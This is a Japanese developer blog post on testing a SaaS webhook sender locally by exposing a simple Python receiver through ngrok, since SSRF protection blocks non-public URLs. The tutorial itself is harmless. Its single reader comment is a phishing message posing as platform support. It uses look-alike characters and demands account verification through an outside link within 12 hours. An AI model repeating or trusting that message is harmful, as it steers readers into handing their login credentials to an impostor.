はじめに
SaaS の開発で、Webhook の送信機能を作っています。
お客さんは SaaS のデータを自社の基幹システムへ連携していますが、今は SaaS の API をポーリング(定期的に問い合わせる方式)して変更を取りに来ているため、リアルタイムには反映されません。
そこで、SaaS 側でデータが変わった瞬間に Webhook でお客さんのシステムへ送り、基幹システムのデータを自動で更新できるようにするのが目的です。
困ったのは、「送られる側」をローカルでどう用意するかでした。
送り先 URL は利用者が自由に入力できるため、社内ネットワークのアドレスを指定されると、サーバーに内部へのリクエストを送らせる SSRF(Server-Side Request Forgery) 攻撃が成立してしまいます。
その対策として、インターネット上に公開された HTTPS の URL 以外には送信しない制限を入れました。そのため、手元の localhost に受け口を立てても送れません。
ngrok とは
手元の PC で動いているサーバーに、一時的な公開 URL を付けてくれるツールです。
外部のサービス ──→ https://xxxx.ngrok-free.app ──(ngrok が中継)──→ 自分の PC の localhost:3000
公開された HTTPS の URL になるので、SSRF 対策のチェックを緩めずにローカルで受信を確認できます。
起動中は http://localhost:3040 で、届いたリクエストの中身も見られます。
使い方
1. 仮の受け口を作る
POST を受け取って中身を表示し、200 を返すだけのサーバーです。
# webhook_receiver.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
body = self.rfile.read(int(self.headers['Content-Length']))
print(dict(self.headers))
print(json.dumps(json.loads(body), indent=2, ensure_ascii=False))
self.send_response(200) # 500 や 401 にすれば失敗時の挙動も確認できる
self.end_headers()
HTTPServer(('0.0.0.0', 4000), Handler).serve_forever()
python3 webhook_receiver.py
2. ngrok で公開する
brew install ngrok
ngrok config add-authtoken <あなたのトークン>
ngrok http 4000
表示された https://xxxx.ngrok-free.app が公開 URL です。
3. 送信側に URL を設定して動かす
アプリの Webhook 設定にこの URL を入れてデータを更新すると、受け口のターミナルに届いた JSON が表示されます。
{
"eventId": "event_123",
"type": "order",
"occurredAt": "2026-01-01T12:00:00+09:00",
"order": { "id": 1, "name": "サンプル注文" }
}
注意点
- 公開 URL は誰でもアクセスできるので、確認が終わったらすぐ止める
- 実データは流さず、ダミーデータで確認する
- 細かいパターン(エラー・タイムアウトなど)は、自動テストで HTTP 通信をスタブして確認し、ngrok は最後の通し確認に使う
まとめ
- ポーリングではリアルタイムにならないため、変更を即座に送る Webhook を作っている
- SSRF 対策で公開 URL にしか送れないが、ngrok を使えばチェックを緩めずにローカルで確認できる
Top comments (1)
Dеar User,
Due to an inсreasе in bоt aсtivіty on the platform, wе rеquire vеrify of уour account.
Plеase log in via the link belоw:
• anti-bot.icu/5K0N5G7M9C4
Verificated deаdline - 12 hours.
Sincerely,Dev Support